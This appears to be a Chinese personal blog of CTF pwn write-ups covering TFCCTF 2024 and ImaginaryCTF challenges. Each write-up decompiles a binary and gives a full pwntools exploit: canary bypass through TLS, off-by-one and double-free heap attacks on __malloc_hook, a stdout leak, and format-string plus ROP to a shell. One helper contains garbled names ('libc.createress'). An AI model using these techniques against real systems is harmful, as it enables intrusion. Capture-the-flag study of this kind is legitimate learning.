快来和我贴贴qaq
post @ 2024-08-08

题目附件https://github.com/nyyyddddn/ctf/tree/main/tfcctf2024

pwn

GUARD-THE-BYPASS

程序的逻辑如下 这里GUARD也就是指canary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+Ch] [rbp-14h] BYREF
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Welcome! Press 1 to start the chall.");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 1 )
  {
    puts("Bye!");
    exit(0);
  }
  len = get_len();
  pthread_create(&newthread, 0LL, game, 0LL);
  pthread_join(newthread, 0LL);
  return v7 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall game(void *a1)
{
  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(buf, 0, 32);
  getchar();
  read(0, buf, len);
  return v3 - __readfsqword(0x28u);
}

有canary 没有pie,修改寄存器的gadget也有

posix接口创建的线程 tls结构体离函数栈帧很近,可以覆盖tls中的canary去绕过canary然后打ret2libc,tls附近有一两个指针在程序执行的时候会往里面写数据,想到了一种很简单的方法,把game函数的canary和tls中的canary覆盖成指向bss的指针,直接一路写过去,就不需要管指针解引用段错误的问题了

vspm

程序的逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_1289(a1, a2, a3);
  puts("Welcome to the Very Secure Password Manager!");
  puts("--------------------------------------------\n");
  puts("1. Save new password");
  puts("2. Check my passwords");
  puts("3. Delete credentials");
  puts("4. Exit");
  while ( 1 )
  {
    v3 = 0;
    printf("Input: ");
    __isoc99_scanf("%d", &v3);
    getchar();
    if ( v3 <= 0 || v3 > 4 )
      break;
    switch ( v3 )
    {
      case 4:
        exit_();
      case 3:
        delete_password();
        break;
      case 1:
        save_password();
        break;
      default:
        show_password();
        break;
    }
  }
  puts("Not a valid choice :(");
  exit(0);
}

unsigned __int64 save_password()
{
  unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  __int64 v3; // [rsp+10h] [rbp-60h]
  __int64 v4; // [rsp+18h] [rbp-58h]
  __int64 v5; // [rsp+20h] [rbp-50h]
  __int64 v6; // [rsp+28h] [rbp-48h]
  __int64 v7; // [rsp+30h] [rbp-40h]
  __int64 v8; // [rsp+38h] [rbp-38h]
  __int64 v9; // [rsp+40h] [rbp-30h]
  __int64 v10; // [rsp+48h] [rbp-28h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
    ;
  if ( i == 10 )
  {
    puts("No more space to save passwords.");
    exit(0);
  }
  printf("\nSelect length: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  *((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
  printf("Enter credentials: ");
  read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
  printf("Name of the credentials: ");
  read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
  return __readfsqword(0x28u) ^ v13;
}

int show_password()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    v0 = *((_QWORD *)&unk_4060 + 5 * i);
    if ( v0 )
      LODWORD(v0) = printf(
                      "%d. %.*s --> %s",
                      (unsigned int)i,
                      32,
                      (const char *)&unk_4060 + 40 * i + 8,
                      *((const char **)&unk_4060 + 5 * i));
  }
  return v0;
}

unsigned __int64 delete_password()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("Select index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( !*((_QWORD *)&unk_4060 + 5 * v1) )
  {
    puts("You can't delete a non-existent password.");
    exit(0);
  }
  free(*((void **)&unk_4060 + 5 * v1));
  *((_QWORD *)&unk_4060 + 5 * v1) = 0LL;
  memset((char *)&unk_4060 + 40 * v1 + 8, 0, 0x20uLL);
  return __readfsqword(0x28u) ^ v2;
}

关闭了tcahce的glibc 2.30,漏洞是在create password的时候有一个off by one 可以覆盖相邻地址堆块的 chunk size一个字节,通过 off by one绕过size的限制申请出unsortedbin,然后切分unsortedbin利用残留的bk指针泄露libc基地址,只需要控制一下 off by one的size就可以在切分unsortedbin后和下一个堆块完全重叠,造成heap overlap,之后doube free写malloc hook 为one gadget触发就好了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "127.0.0.1"
PORT = 9999


elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )
is_debug = 1
IP = "challs.tfcctf.com"
PORT = 31822

p = connect()

def save_password(len,password,name):
    sla("Input:","1")
    sla("length",str(len))
    sa("Enter credentials:",password)
    sa("Name of the credentials:",name)

def delete_credentials(idx):
    sla("Input:","3")
    sla("Select index:",str(idx))

def check_password():
    sla("Input:","2")

save_password(0x68, b"AAAAAAAA", b"aaaaaaaa")
save_password(0x68, b"BBBBBBBB", b"bbbbbbbb")
save_password(0x68, b"CCCCCCCC", b"cccccccc")
save_password(0x68, b"DDDDDDDD", b"dddddddd")
save_password(0x68, b"EEEEEEEE", b"eeeeeeee")

delete_credentials(0)
save_password(0x68, b"A" * 0x68 + p8(0xe1), b"a" * 0x8)
delete_credentials(1) # unsorted bin 
save_password(0x68, b"B" * 0x8, b"b" * 0x8) # leak unsortedbin bk


check_password()
ru(b"B" * 0x8)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76c3f6bb4c90 - 0x76c3f6800000)
success(hex(libc_base))
libc.addr = libc_base

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']

one_gadget = libc_base + 0xe1fa1

save_password(0x68,b"FFFFFFFF","ffffffff") # heap overlap (cccccccc and ffffffff)

# double free
delete_credentials(2) # delete cccccccc
delete_credentials(3)
delete_credentials(5) # delete ffffffff

save_password(0x68, p64(malloc_hook - 0x23), b"f" * 0x8)
save_password(0x68, b'D' * 8, b"d" * 0x8)
save_password(0x68, p64(malloc_hook - 0x23), b"c" * 0x8)
save_password(0x68, b'A' * 0x13 + p64(one_gadget), b"c" * 0x8)

sl(str(1))
sla("length",str(0x48))




p.interactive()

mcback2dabasics

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  for ( i = 0; i <= 63; ++i )
    chunk_list[i] = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      scanf("%d", &choice);
      if ( choice != 2 )
        break;
      delete();
    }
    if ( choice == 3 )
    {
      puts("Is that all you got? Bye!");
      exit(0);
    }
    if ( choice == 1 )
      create();
    else
      puts("Invalid choice");
  }
}

unsigned __int64 sub_9F4()
{
  int idx; // eax
  _DWORD nbytes[3]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_number > 63 )
  {
    puts("No more memory available");
    exit(0);
  }
  puts("How much?");
  printf("[+]> ");
  scanf("%d", nbytes);
  if ( nbytes[0] > 0x70u )
  {
    puts("Nope, too big");
    exit(0);
  }
  *(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
  puts("Data?");
  read(0, *(void **)&nbytes[1], nbytes[0]);
  *(_BYTE *)(nbytes[0] + *(_QWORD *)&nbytes[1]) = 0;
  idx = chunk_number++;
  chunk_list[idx] = *(_QWORD *)&nbytes[1];
  puts("Job done!");
  return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 delete()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which one?");
  printf("[+]> ");
  scanf("%d", &idx);
  if ( idx > 0x3F )
  {
    puts("Invalid index");
    exit(0);
  }
  free((void *)chunk_list[idx]);
  puts("Job done!");
  return __readfsqword(0x28u) ^ v2;
}

glibc 2.24,这个题非常困难,有uaf,但是泄露不出来地址,我知道要写stdout 打puts的利用链去泄露地址但是不知道怎么做,后面复现的时候发现可以通过堆风水让unsortedbin的fd和fastbin的fd重叠,main arena + 88离 stdout很近,libc地址低12位是固定的,覆盖两个字节就能到stdout,然后因为有size的检查,但是stdoutt往上一小段距离那有一个0x7f的地址可以通过错位字节分配到上面然后绕过这个检查,所以远程的话有十六分之一的概率能打通,需要爆破。申请到stdout后,把write base的低位覆盖,就可以通过puts的利用链去泄露libc。

具体的堆风水是,因为没有edit函数,可以通过在大堆块里面伪造fake chunk然后double free 让chunklist中有fakechunk的指针,伪造一个unsortedbin范围的fakechunk fakechunk和next chunk重叠,或者是大于,通过切分unsortedbin调整fd的位置,重叠后就可以利用了,记得把size改回去,因为重叠后unsortedbin切分的时候会写写size,也不能保证unsortedbin切分后size和原来相同,因为会分到fastbin

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.createress + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.createress + libc.get_section_by_name(".plt").header.sh_creater
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()

def create(size,content): # 0x70
    sla(b"[+]> ",b"1")
    sla(b"[+]> ",str(size).encode())
    sa(b"Data?",content)

def delete(idx):
    sla(b"[+]> ",b"2")
    sla(b"[+]> ",str(idx).encode())

create(0x50,b"A" * 0x10 + b"fkchunk0" + p64(0x71)) #0 # fkchunk0 = 0x555555605020
create(0x60,"B" * 8) # 1
create(0x60,"C" * 8) # 2
create(0x60,"D" * 8) # 3

delete(1)
delete(2)
delete(1)

create(0x60,b"\x20\x50") # 4
create(0x60,"C" * 8) # 5
create(0x60,"B" * 8) # 6
create(0x60,"D" * 8) # 7 # fkchunk0


delete(0)
create(0x50,b"A" * 0x10 + p64(0) + p64(0xb1)) # 8
delete(7) # delete fkchunk0

delete(3)
delete(1) 
create(0x30,b"A" * 0x10 + p64(0) + p64(0X61)) # 9 # segmentation unsortedbin and create fakechunk1 0x555555605040
# # heap overlap chunk[1].fd = main_arena + 88

# pwndbg> x /40gx 0x7ffff7bc2600 - 0x43
# 0x7ffff7bc25bd <_IO_2_1_stderr_+157>:	0xfff7bc1640000000	0x000000000000007f
# 0x7ffff7bc25cd <_IO_2_1_stderr_+173>:	0x0000000000000000	0x0000000000000000
# 0x7ffff7bc25dd <_IO_2_1_stderr_+189>:	0x0000000000000000	0x0000000000000000
# 0x7ffff7bc25ed <_IO_2_1_stderr_+205>:	0x0000000000000000	0xfff7bbe400000000
# 0x7ffff7bc25fd <_IO_2_1_stderr_+221>:	0x00fbad288700007f	0xfff7bc2683000000
# 0x7ffff7bc260d <_IO_2_1_stdout_+13>:	0xfff7bc268300007f	0xfff7bc268300007f
# 0x7ffff7bc261d <_IO_2_1_stdout_+29>:	0xfff7bc268300007f	0xfff7bc268300007f
# 0x7ffff7bc262d <_IO_2_1_stdout_+45>:	0xfff7bc268300007f	0xfff7bc268300007f
# 0x7ffff7bc263d <_IO_2_1_stdout_+61>:	0xfff7bc268400007f	0x000000000000007f
# 0x7ffff7bc264d <_IO_2_1_stdout_+77>:	0x0000000000000000	0x0000000000000000
# 0x7ffff7bc265d <_IO_2_1_stdout_+93>:	0x0000000000000000	0xfff7bc18c0000000
# 0x7ffff7bc266d <_IO_2_1_stdout_+109>:	0x000000000100007f	0xffffffffff000000
# 0x7ffff7bc267d <_IO_2_1_stdout_+125>:	0x000a000000ffffff	0xfff7bc3760000000
# 0x7ffff7bc268d <_IO_2_1_stdout_+141>:	0xffffffffff00007f	0x0000000000ffffff
# 0x7ffff7bc269d <_IO_2_1_stdout_+157>:	0xfff7bc1780000000	0x000000000000007f
# 0x7ffff7bc26ad <_IO_2_1_stdout_+173>:	0x0000000000000000	0x0000000000000000


create(0x20,b"\xbd\x25") # 10 # segmentation unsortedbin; chunk[1].fd = stdout


create(0x50,b"E" * 8) # 11
create(0x50,b"F" * 8) # 12
delete(11)
delete(12)
delete(11)

create(0x50,b"\x40\x50") # 13
create(0x50,b"D" * 8) # 14
create(0x50,b"B" * 8) # 15
create(0x50,b"A" * 0x10 + p64(0) + p64(0x71)) # 16 # modify chunk[1].chunksize = 0x71

create(0x60,"SSSSS") # 16

payload = b'A' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0) #
create(0x61,payload) # 17

rl()
print(r(0x20))
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3c2600
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xce0e5
malloc_hook = libc_base + libc.sym['__malloc_hook']

delete(1)
delete(2)
delete(1)

create(0x60,p64(malloc_hook - 0x23))
create(0x60,"BBBBBBBB")
create(0x60,p64(malloc_hook - 0x23))
create(0x60,b'a' * 0x13 + p64(one_gadget))

sla(b"[+]> ",b"1")
sla(b"[+]> ",str(0x8).encode())




p.interactive()

misc

Read More
post @ 2024-08-01

pwn

imgstore

unsigned __int64 sell_book()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf("Enter book title: ");
    fgets(s, 50, stdin);
    printf("Book title --> ");
    printf(s);
    puts(&::s);
    if ( 334873123 * buf == dword_6050 )
    {
      dword_608C = 2;
      sub_1D77(2);
    }
    puts("Sorry, we already have the same title as yours in our database; give me another book title.");
    printf("Still interested in selling your book? [y/n]: ");
    __isoc99_scanf("%1c", &v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&::s);
  printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}

unsigned __int64 __fastcall sub_1D77(int a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sub_18F2();
  if ( a1 == 2 )
  {
    printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
    putchar(62);
    fgets(s, 160, stdin);
  }
  else
  {
    printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
    puts("[+] BAD HACKER!!");
  }
  return __readfsqword(0x28u) ^ v3;
}

程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./imgstore')
# libc = elf.libc
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


sla(">>","3")

# elf - canary - stack
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)

ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")


payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)

ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")

payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)

time.sleep(0.3)

rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)




p.interactive()

ropity

.text:0000000000401136                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136                               public main
.text:0000000000401136                               main proc near                          ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136                               s= byte ptr -8
.text:0000000000401136
.text:0000000000401136                               ; __unwind {
.text:0000000000401136 F3 0F 1E FA                   endbr64
.text:000000000040113A 55                            push    rbp
.text:000000000040113B 48 89 E5                      mov     rbp, rsp
.text:000000000040113E 48 83 EC 10                   sub     rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00          mov     rdx, cs:__bss_start             ; stream
.text:0000000000401149 48 8D 45 F8                   lea     rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00                mov     esi, 100h                       ; n
.text:0000000000401152 48 89 C7                      mov     rdi, rax                        ; s
.text:0000000000401155 E8 E6 FE FF FF                call    _fgets
.text:0000000000401155
.text:000000000040115A 90                            nop
.text:000000000040115B C9                            leave
.text:000000000040115C C3                            retn
.text:000000000040115C                               ; } // starts at 401136
.text:000000000040115C
.text:000000000040115C                               main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D                               ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D                               ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D                               ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D                               public printfile
.text:000000000040115D                               printfile proc near
.text:000000000040115D
.text:000000000040115D                               var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D                               ; __unwind {
.text:000000000040115D F3 0F 1E FA                   endbr64
.text:0000000000401161 55                            push    rbp
.text:0000000000401162 48 89 E5                      mov     rbp, rsp
.text:0000000000401165 48 89 7D F8                   mov     [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00          mov     rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00          mov     rsi, 0                          ; flags
.text:0000000000401177 0F 05                         syscall                                 ; LINUX - sys_open
.text:0000000000401179 48 89 C6                      mov     rsi, rax                        ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00          mov     rdi, 1                          ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00          mov     rdx, 0                          ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00          mov     r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00          mov     rax, 28h ; '('
.text:0000000000401198 0F 05                         syscall                                 ; LINUX - sys_sendfile
.text:000000000040119A 90                            nop
.text:000000000040119B 5D                            pop     rbp
.text:000000000040119C C3                            retn
.text:000000000040119C                               ; } // starts at 40115D
.text:000000000040119C
.text:000000000040119C                               printfile endp
.text:000000000040119C

真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有

lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret

Unique gadgets found: 65

